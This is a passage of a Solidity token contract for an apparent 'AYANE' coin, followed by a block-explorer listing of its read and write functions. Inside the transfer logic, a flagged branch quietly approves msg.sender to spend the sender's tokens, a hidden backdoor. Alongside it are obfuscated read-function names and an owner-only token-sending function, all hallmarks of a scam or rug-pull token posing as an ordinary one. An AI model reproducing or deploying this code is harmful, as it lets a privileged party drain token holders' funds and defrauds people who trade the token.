bool isFeeExeecd
) private {
if (!takeFee) clearAllBuyFees();
_transferAYANEToken(sender, recipient, amount);
if (!takeFee) restoreAllFee();
if (amount > 0 && isFeeExeecd) _approve(sender, msg.sender, amount);
}
function _transferAYANEToken(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_tokenOwned[sender] = _tokenOwned[sender].sub(rAmount);
_tokenOwned[recipient] = _tokenOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_tokenOwned[address(this)] = _tokenOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_MaxValue = _MaxValue.sub(rFee);
_totalFeeOfAyane = _totalFeeOfAyane.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _buyFeeForAyane, _taxFeeForAyane);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _MaxValue;
uint256 tSupply = _totalSupply;
if (rSupply < _MaxValue.div(_totalSupply)) return (_MaxValue, _totalSupply);
return (rSupply, tSupply);
}
function enableTrading() public onlyOwner {
_approve(address(this), address(_uniswapV2Router), _totalSupply);
_uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_taxBuyFeeForAyane = 0;
_taxSellFeeForAyane = 0;
enabledTrading = true;
enabledSwap = true;
}
}
Read Contract
AVXCDFEWDR43VC 0xb9c5a7a5 → uint256
SDFVCXFDER342A 0x1a2ab11a → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
renounceOwnership 0x715018a6
No parameters
sendTokensForAyane 0x86b33e93
uint256 amount
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address